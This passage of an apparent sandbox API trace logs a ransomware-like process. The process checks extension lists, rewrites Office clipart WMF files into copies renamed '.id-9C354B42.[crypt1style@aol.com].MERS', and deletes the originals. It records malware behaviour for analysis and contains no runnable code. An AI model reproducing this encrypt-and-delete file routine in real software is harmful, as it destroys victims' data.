Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.307] lstrlenW (lpString=".doc") returned 4 [0272.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.307] lstrlenW (lpString=".docx") returned 5 [0272.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.307] lstrlenW (lpString=".pdf") returned 4 [0272.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.307] lstrlenW (lpString=".xls") returned 4 [0272.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.307] lstrlenW (lpString=".xlsx") returned 5 [0272.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.308] lstrlenW (lpString=".ppt") returned 4 [0272.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString=".zip") returned 4 [0272.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.308] lstrlenW (lpString=".rar") returned 4 [0272.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString=".bz2") returned 4 [0272.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString=".7z") returned 3 [0272.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString=".dbf") returned 4 [0272.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString=".1cd") returned 4 [0272.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString=".jpg") returned 4 [0272.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString=".doc") returned 4 [0272.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString=".docx") returned 5 [0272.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.308] lstrlenW (lpString=".pdf") returned 4 [0272.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString=".xls") returned 4 [0272.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.308] lstrlenW (lpString=".xlsx") returned 5 [0272.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.308] lstrlenW (lpString=".ppt") returned 4 [0272.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.308] lstrlenW (lpString=".zip") returned 4 [0272.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.309] lstrlenW (lpString=".rar") returned 4 [0272.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.309] lstrlenW (lpString=".bz2") returned 4 [0272.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.309] lstrlenW (lpString=".7z") returned 3 [0272.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.309] lstrlenW (lpString=".dbf") returned 4 [0272.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.309] lstrlenW (lpString=".1cd") returned 4 [0272.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.309] lstrlenW (lpString=".jpg") returned 4 [0272.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.309] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.309] lstrlenW (lpString="BL00261_.WMF") returned 12 [0272.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.309] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=12482) returned 1 [0272.309] CloseHandle (hObject=0x3f4) returned 1 [0272.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0272.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.310] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.310] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.310] GetLastError () returned 0x0 [0272.310] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x30c2, lpOverlapped=0x0) returned 1 [0272.378] WriteFile (in: hFile=0x284, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0272.379] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.379] WriteFile (in: hFile=0x284, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.379] SetEndOfFile (hFile=0x284) returned 1 [0272.379] CloseHandle (hObject=0x284) returned 1 [0272.379] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.379] SetEndOfFile (hFile=0x3f4) returned 1 [0272.381] CloseHandle (hObject=0x3f4) returned 1 [0272.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0272.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.434] lstrlenW (lpString=".doc") returned 4 [0272.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.434] lstrlenW (lpString=".docx") returned 5 [0272.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.434] lstrlenW (lpString=".pdf") returned 4 [0272.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.434] lstrlenW (lpString=".xls") returned 4 [0272.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.434] lstrlenW (lpString=".xlsx") returned 5 [0272.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.434] lstrlenW (lpString=".ppt") returned 4 [0272.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.434] lstrlenW (lpString=".zip") returned 4 [0272.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.434] lstrlenW (lpString=".rar") returned 4 [0272.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.434] lstrlenW (lpString=".bz2") returned 4 [0272.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.434] lstrlenW (lpString=".7z") returned 3 [0272.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.434] lstrlenW (lpString=".dbf") returned 4 [0272.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.435] lstrlenW (lpString=".1cd") returned 4 [0272.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.435] lstrlenW (lpString=".jpg") returned 4 [0272.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.435] lstrlenW (lpString=".doc") returned 4 [0272.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString=".docx") returned 5 [0272.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.435] lstrlenW (lpString=".pdf") returned 4 [0272.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString=".xls") returned 4 [0272.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.435] lstrlenW (lpString=".xlsx") returned 5 [0272.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.435] lstrlenW (lpString=".ppt") returned 4 [0272.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.435] lstrlenW (lpString=".zip") returned 4 [0272.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.435] lstrlenW (lpString=".rar") returned 4 [0272.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString=".bz2") returned 4 [0272.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString=".7z") returned 3 [0272.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.435] lstrlenW (lpString=".dbf") returned 4 [0272.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.436] lstrlenW (lpString=".1cd") returned 4 [0272.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0272.436] lstrlenW (lpString=".jpg") returned 4 [0272.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.436] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.436] lstrlenW (lpString="BL00267_.WMF") returned 12 [0272.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.436] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=2644) returned 1 [0272.436] CloseHandle (hObject=0x284) returned 1 [0272.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0272.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.437] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.437] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.437] GetLastError () returned 0x0 [0272.437] ReadFile (in: hFile=0x284, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xa54, lpOverlapped=0x0) returned 1 [0272.592] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xa60, lpOverlapped=0x0) returned 1 [0272.593] ReadFile (in: hFile=0x284, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.593] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.593] SetEndOfFile (hFile=0x418) returned 1 [0272.593] CloseHandle (hObject=0x418) returned 1 [0272.593] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.593] SetEndOfFile (hFile=0x284) returned 1 [0272.595] CloseHandle (hObject=0x284) returned 1 [0272.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0272.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.595] lstrlenW (lpString=".doc") returned 4 [0272.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.595] lstrlenW (lpString=".docx") returned 5 [0272.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.595] lstrlenW (lpString=".pdf") returned 4 [0272.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.595] lstrlenW (lpString=".xls") returned 4 [0272.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.595] lstrlenW (lpString=".xlsx") returned 5 [0272.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.595] lstrlenW (lpString=".ppt") returned 4 [0272.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.595] lstrlenW (lpString=".zip") returned 4 [0272.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.596] lstrlenW (lpString=".rar") returned 4 [0272.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString=".bz2") returned 4 [0272.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString=".7z") returned 3 [0272.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.596] lstrlenW (lpString=".dbf") returned 4 [0272.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.596] lstrlenW (lpString=".1cd") returned 4 [0272.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.596] lstrlenW (lpString=".jpg") returned 4 [0272.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.596] lstrlenW (lpString=".doc") returned 4 [0272.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString=".docx") returned 5 [0272.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.596] lstrlenW (lpString=".pdf") returned 4 [0272.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString=".xls") returned 4 [0272.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.596] lstrlenW (lpString=".xlsx") returned 5 [0272.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.596] lstrlenW (lpString=".ppt") returned 4 [0272.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.596] lstrlenW (lpString=".zip") returned 4 [0272.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.596] lstrlenW (lpString=".rar") returned 4 [0272.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.596] lstrlenW (lpString=".bz2") returned 4 [0272.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.597] lstrlenW (lpString=".7z") returned 3 [0272.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.597] lstrlenW (lpString=".dbf") returned 4 [0272.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.597] lstrlenW (lpString=".1cd") returned 4 [0272.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0272.597] lstrlenW (lpString=".jpg") returned 4 [0272.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.597] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.597] lstrlenW (lpString="BL00525_.WMF") returned 12 [0272.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.597] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=9590) returned 1 [0272.597] CloseHandle (hObject=0x284) returned 1 [0272.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0272.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.598] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.598] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.598] GetLastError () returned 0x0 [0272.598] ReadFile (in: hFile=0x284, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x2576, lpOverlapped=0x0) returned 1 [0272.745] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x2580, lpOverlapped=0x0) returned 1 [0272.746] ReadFile (in: hFile=0x284, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.746] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.746] SetEndOfFile (hFile=0x418) returned 1 [0272.746] CloseHandle (hObject=0x418) returned 1 [0272.746] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.746] SetEndOfFile (hFile=0x284) returned 1 [0272.749] CloseHandle (hObject=0x284) returned 1 [0272.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.774] lstrlenW (lpString=".doc") returned 4 [0272.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.774] lstrlenW (lpString=".docx") returned 5 [0272.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.774] lstrlenW (lpString=".pdf") returned 4 [0272.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.774] lstrlenW (lpString=".xls") returned 4 [0272.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.775] lstrlenW (lpString=".xlsx") returned 5 [0272.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.775] lstrlenW (lpString=".ppt") returned 4 [0272.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft 